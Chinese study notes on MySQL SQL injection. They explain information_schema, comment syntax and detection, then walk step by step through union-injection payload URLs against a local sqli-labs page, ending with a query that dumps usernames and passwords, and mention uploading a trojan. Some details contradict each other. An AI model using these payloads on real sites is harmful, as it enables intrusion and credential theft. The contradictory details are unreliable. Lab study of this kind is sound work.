SQL注入的几张表：
一、information_schema库：
1、在mysql5.0版本后，默认数据库存放在这个数据库中，该库中常用的三个表schemata、tables、columns
2、schemata表存储的是该用户创建的所有数据库中的库名，记录数据库的字段名为schema_name
3、tables表存储该用户创建的所有数据库名和表明，库名和表明分别为table_schema,table_name
4、columns存储改用户创建的所有数据库的库名、表明、字段名，分别为table_schema,table_name,columns_name
二、数据库查询语句
格式：
需查询的值 A=select 所属字段名 A from 所属表名 where 对应字段名 B=值B
三、limit的用法
格式 limit n:m，其中n指的是记录开始的位置，从m=0开始，表示第一条记录，n是指取几条记录
四、常用的几个函数
version()：当前mysql版本
database()：当前使用的数据
user()：当前mysql的用户
五、注释
1、#
2、-- + 空格
3、/**/ 内联注释
4、/*!*/ 强制内联注释
注：url里不能用#号
六、探测方法
1、注入探测：
自动方式：使用web漏洞扫描工具，发现注入点；
手工方式：手工构造测试语句发现注入点；
手工判断三步骤：
数值型：
and 1=1 true
and 1=2 false
字符型：
‘ and 1=1 --+ true
‘ and 1=2 --+ true or false
2、信息获取
环境信息：数据库类型，数据库版本，用户信息等
数据库信息：数据库名称，数据库表，字段，字段内容
3、获取权限
获取操作权限，数据库执行shell，上传木马
注：只要是带有参数的动态页面，都会存在注入的风险
七、Union注入攻击及代码分析
举例：
联合注入实现
http://127.0.0.1/sqli/Less/?id=1
第一步：判断是否存在sql注入漏洞
1、、http://127.0.0.1/sqli/Less-1/?id=1‘ 错误
2、、http://127.0.0.1/sqli/Less-1/?id=1 and 1=1 正常
3、http://127.0.0.1/sqli/Less-1/?id=1 and 1=2 正常
返回正常这里可以判断是字符型，那么构造字符型注入的payload
1、http://127.0.0.1/sqli/Less-1/?id=1‘ and 1=1 --+ 正常
2、http://127.0.0.1/sqli/Less-1/?id=1‘ and 1=2 --+ 异常
从而可以判断此处存在sql注入漏洞，切入漏洞类型为数值型
第二步：判断数据表字段数
order by 1-99
http://127.0.0.1/sqli/Less-1/?id=0‘ order by 1 --+
第三步：判断查询输出的位置
http://127.0.0.1/sqli/Less-1/?id=0‘ union select 1,2,3 --+
第四步：脱裤，报数据库名 seccurity --
http://127.0.0.1/sqli/Less-1/?id=1‘ union select 1,2,database() --+
第五步：报表名 users
http://127.0.0.1/sqli/Less-1/?id=0‘ union select 1,2,
(select group_concat(table_name) from information_schema.tables
where table_schema=‘security‘) --+
第六步：报字段名 id,username,password
http://127.0.0.1/sqli/Less-1/?id=0‘ union select 1,2,
(select group_concat(column_name) from information_schema.columns
where table_schema=‘security‘ and table_name=‘users‘) --+
第七步：报数据
http://127.0.0.1/sqli/Less-1/?id=0‘ union select 1,2,
(select group_concat(id,0x3a,username,0x3a,password) from security.users) --+